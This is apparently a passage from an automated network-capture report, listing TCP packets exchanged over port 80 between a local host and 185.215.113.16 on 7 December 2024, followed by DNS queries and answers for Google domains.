Dec 7, 2024 08:43:54.674036026 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.674078941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.675019026 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.675060034 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.675132036 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.675204039 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.676093102 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.676153898 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.676209927 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.676266909 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.677138090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.677212000 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.677247047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.677356958 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.678245068 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.678318977 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.678417921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.678484917 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.679303885 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.679455042 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.679522991 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.679585934 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.680370092 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.680404902 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.680479050 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.680546045 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.681473017 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.681526899 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.681587934 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.681643963 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.682545900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.682604074 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.682634115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.682683945 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.683599949 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.683676958 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.683713913 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.683760881 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.684669018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.684726000 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.684786081 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.684906006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.685745955 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.685803890 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.685873032 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.685992002 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.686814070 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.686866999 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.687000990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.687057018 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.687930107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.687987089 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.688034058 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.688150883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.688975096 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.689028978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.689083099 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.689167976 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.690045118 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.690100908 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.690110922 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.690154076 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.691164017 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.691220999 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.691279888 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.691318035 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.692219019 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.692255974 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.692328930 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.692384005 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.693265915 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.693316936 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.693331003 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.693368912 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.694631100 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.694705963 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.694801092 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.694859028 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.695408106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.695472002 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.821387053 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.821427107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.821556091 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.821818113 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.821870089 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.821923018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.821973085 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.822912931 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.822952032 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.823034048 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.823142052 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.824018955 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.824086905 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.824207067 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.825068951 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.825164080 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.825177908 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.825268030 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.826126099 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.826215029 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.826236963 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.826415062 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.827215910 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.827260971 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.827327967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.838833094 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.838968039 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.839067936 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.839279890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.839358091 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.839421034 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.840343952 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.840401888 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.840550900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.840625048 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.841432095 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.841466904 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.841521978 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.841564894 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.842493057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.842535973 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.842588902 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.842622995 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.843600035 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.843775988 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.843837976 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.844722033 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.844774961 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.844782114 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.844835043 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.845737934 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.845809937 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.845822096 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.845859051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.846801043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.846870899 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.846909046 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.846957922 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.847888947 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.847994089 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.847997904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.848043919 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.848957062 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.849034071 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.849061012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.849097013 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.850028038 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.850126982 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.850161076 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.850207090 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.851088047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.851196051 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.851262093 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.852164030 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.852332115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.852412939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.853236914 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.853298903 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.853337049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.853418112 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.854342937 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.854397058 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.854398966 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.854454994 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.855436087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.855524063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.855619907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.856468916 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.856530905 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.856589079 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.856652975 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.857513905 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.857573986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.857633114 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.857676029 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.858619928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.858659029 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.858721018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.858814955 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.859729052 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.859796047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.859874010 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.860783100 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.860855103 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.861112118 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.861165047 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.861835957 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.861879110 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.861953020 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.862003088 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.862914085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.862991095 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.863058090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.863117933 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.863993883 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.864093065 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.864161015 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.865067959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.865123034 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.865207911 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.865267038 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.866120100 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.866187096 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.866226912 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.866275072 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.867213964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.867280006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.867305040 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.868264914 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.868320942 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.868374109 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.868412018 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.869363070 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.869414091 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.869452953 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.869491100 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.870398998 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.870460033 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.870498896 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.870557070 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.871500969 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.871566057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.871615887 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.872592926 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.872652054 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.872680902 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.872720003 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.873697996 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.873739958 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.873815060 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.873853922 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.874838114 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.874895096 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.874897957 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.874948978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.876460075 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.876576900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.876647949 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.876907110 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.876955032 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.877046108 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.877104044 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.877958059 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.878014088 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.878074884 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.878134966 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.879076004 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.879132986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.879175901 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.879245043 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.880119085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.880211115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.880270004 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.881164074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.881230116 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.881263971 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.881302118 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.882246017 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.882340908 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.882354975 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.882380962 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.883297920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.883409977 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.883471012 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.884383917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.884494066 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.884509087 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.884547949 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.885473013 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.885545015 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.885572910 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.885620117 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.886523008 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.886601925 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.886620998 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.886677980 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.887602091 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.891329050 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.013283014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.013364077 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.013417006 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.013462067 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.013787985 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.013807058 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.013844967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.013844967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.014622927 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.014687061 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.014765024 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.014827013 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.015738010 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.015821934 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.015911102 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.016747952 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.016798973 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.016868114 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.016917944 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.017859936 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.017899990 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.017951965 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.017996073 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.018903017 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.018961906 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.019026995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.019109011 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.030972004 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.031124115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.031188965 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.031522036 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.031625032 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.031686068 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.032552004 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.032622099 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.032740116 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.032783985 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.033611059 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.033655882 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.033716917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.033802032 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:55.034710884 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:55.034754038 CET	49795	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 7, 2024 08:43:13.256161928 CET	192.168.2.5	1.1.1.1	0x1ece	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 08:43:13.256331921 CET	192.168.2.5	1.1.1.1	0x98ab	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 7, 2024 08:43:19.924355030 CET	192.168.2.5	1.1.1.1	0xb6f5	Standard query (0)	ogs.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 08:43:19.924596071 CET	192.168.2.5	1.1.1.1	0x23c2	Standard query (0)	ogs.google.com	65	IN (0x0001)	false
Dec 7, 2024 08:43:19.933864117 CET	192.168.2.5	1.1.1.1	0xb78f	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 08:43:19.934189081 CET	192.168.2.5	1.1.1.1	0x797c	Standard query (0)	apis.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 7, 2024 08:43:13.393254042 CET	1.1.1.1	192.168.2.5	0x1ece	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 7, 2024 08:43:13.396884918 CET	1.1.1.1	192.168.2.5	0x98ab	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 7, 2024 08:43:20.061847925 CET	1.1.1.1	192.168.2.5	0x23c2	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
